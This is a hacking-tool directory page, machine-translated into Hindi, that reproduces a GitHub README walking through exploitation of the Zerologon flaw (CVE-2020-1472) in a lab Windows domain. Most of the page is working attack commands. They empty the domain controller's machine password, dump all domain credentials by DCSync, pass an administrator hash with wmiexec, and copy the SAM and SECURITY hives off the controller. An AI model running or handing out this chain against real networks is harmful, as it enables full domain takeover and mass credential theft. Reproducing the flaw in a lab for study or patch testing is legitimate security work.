Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2020-1472 — cve-2020-1472 复现利用及其exp | Kitploit
उपकरण/GitHubGitHub/mstxq17/cve-2020-1472
Password CrackingPrivilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration Testing
GitHubmstxq17/cve-2020-1472

cve-2020-1472

cve-2020-1472 复现利用及其exp

रिपॉजिटरी देखें
111245 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-1472 POC

mac वातावरण में proxychains प्रॉक्सी के माध्यम से Windows डोमेन वातावरण में इस भेद्यता को दोहराना।

Environment

DC (मुख्य डोमेन नियंत्रक):

image-20200916113011251

Domain User (डोमेन सदस्य होस्ट):

gost के माध्यम से सीधे SOCKS5 फॉरवर्ड प्रॉक्सी सेट करना।

image-20200916113305548

Attack Hacker (हमलावर मशीन):

proxychains4 सेट करें

root@kitploit:~
vim  /Users/xq17/.proxychains/proxychains.conf

ProxyList सूची में जोड़ें

[ProxyList] socks5 10.211.55.42 8099

Attack Tools (हमले के उपकरण):

root@kitploit:~
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt

यदि निष्पादित करने पर यह त्रुटि आती है:

image-20200916114449062

इसका मतलब है कि impacket मॉड्यूल में समस्या है। impacket मॉड्यूल को अनइंस्टॉल करने का प्रयास करें और GitHub पर नवीनतम संस्करण स्थापित करें।

root@kitploit:~
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

समस्या हल हो जाएगी।

C# संस्करण उपकरण: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

Exploit steps

  1. पहले डोमेन नियंत्रक पासवर्ड का उपयोग करके डोमेन मशीन खाते का हैश निकालने का प्रयास करें, ताकि बाद में संशोधन के साथ तुलना की जा सके।

    root@kitploit:~
    proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
    
    या उद्धरण हटाएं, लेकिन ध्यान दें कि Linux में $ एक चर का प्रतिनिधित्व करता है, इसलिए इसे एस्केप करना याद रखें।
    
    proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$
    

    image-20200916115110187

  2. zerologon_tester.py का उपयोग करके जांचें कि भेद्यता मौजूद है या नहीं

    python3 zerologon_tester.py DC 10.211.55.38

    image-20200916115408007

    Success वापस आता है, जो भेद्यता की उपस्थिति दर्शाता है।

  3. cve-2020-1472-exploit.py का उपयोग करके मशीन खाता रीसेट करें

python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

image-20200916115639951

  1. फिर से जांचें कि मशीन पासवर्ड खाली हो गया है या नहीं।

image-20200916115757385

  1. डोमेन नियंत्रक के मशीन खाते का उपयोग करके DCSync के माध्यम से डोमेन में सभी उपयोगकर्ता क्रेडेंशियल निकाले जा सकते हैं

    सिद्धांत:

    image-20200916120658369

    DRS (डायरेक्टरी रेप्लिकेशन सर्विस) प्रोटोकॉल का उपयोग करके IDL_DRSGetNCChanges के माध्यम से डोमेन नियंत्रक से उपयोगकर्ता क्रेडेंशियल कॉपी करना।

    proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

    image-20200916120926625

  2. DC$ मशीन खाते का पासवर्ड पुनर्स्थापित करें इसके द्वारा

    proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'

    डोमेन व्यवस्थापक का हैश प्राप्त करें

    image-20200916143032315

    image-20200916143104828

    फिर wmic का उपयोग करके, हैश पास करें और डोमेन नियंत्रक में स्थानीय व्यवस्थापक अधिकार (डोमेन व्यवस्थापक) प्राप्त करें

    root@kitploit:~
    wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
    

    फिर क्रमशः निष्पादित करें, स्थानीय मशीन से SAM डेटाबेस को MAC साइड पर कॉपी करें

    root@kitploit:~
    - reg save HKLM\SYSTEM system.save
    - reg save HKLM\SAM sam.save
    - reg save HKLM\SECURITY security.save
    - get system.save
    - get sam.save
    - get security.save
    - del /f system.save
    - del /f sam.save
    - del /f security.save
    

Question

एकल डोमेन वातावरण में:

पूरी तरह से काम करता है। डोमेन नियंत्रक को पुनरारंभ करने के बाद, कोई असामान्यता नहीं है, लेकिन डोमेन सदस्य मशीनों के DNS में समस्या होती है, जो प्रमाणीकरण को प्रभावित नहीं करती।

image-20200916182258498

पासवर्ड पुनर्स्थापित करने के बाद:

image-20200916182446890

दोहरे डोमेन वातावरण, एक मुख्य डोमेन DC, एक बैकअप डोमेन नियंत्रक DC01:

image-20200916205319345

प्रारंभ में दोनों डोमेन नियंत्रकों के मशीन हैश प्राप्त करने पर, वे अलग-अलग पाए गए।

image-20200916205520212

सहायक डोमेन पर हमला करने का प्रयास किया गया, जिससे मुख्य डोमेन प्रभावित नहीं हुआ, और ntdis.dist डेटा भी सिंक हो गया।

image-20200916212015947

मुख्य डोमेन पर हमला करने का प्रयास किया गया, net time /domain और एकल डोमेन वातावरण में भी त्रुटि होगी, लेकिन पासवर्ड ठीक करने के बाद तुरंत वापस आ गया।

नया खाता बनाने पर सीधे सिंक हो सकता है

image-20200916213953415

पासवर्ड बदलने पर भी सिंक प्रभावित नहीं होता।

व्यक्तिगत रूप से, मुझे अब तक डोमेन से बाहर निकलने की कोई समस्या नहीं मिली है। सुझाव है कि आप मेरे इस प्रक्रिया का एक बार पालन करें। यदि कोई समस्या है, तो कृपया मुझसे चर्चा करने में संकोच न करें!

Reference

नेटलोगॉन विशेषाधिकार वृद्धि भेद्यता (CVE-2020-1472) सिद्धांत विश्लेषण और सत्यापन

चीनी पीडीएफ संस्करण

NAXG\CVE-2020-1472

दोहरे डोमेन वातावरण की स्थापना

टूल डाउनलोड करें

image-20200916145737983

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

मशीन खाते का सादा पाठ हेक्स निकालें

image-20200916145937435

अंत में निष्पादित करें

root@kitploit:~
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

image-20200916155017962

देखा जा सकता है कि जानकारी पूरी तरह से पुनर्स्थापित हो गई है।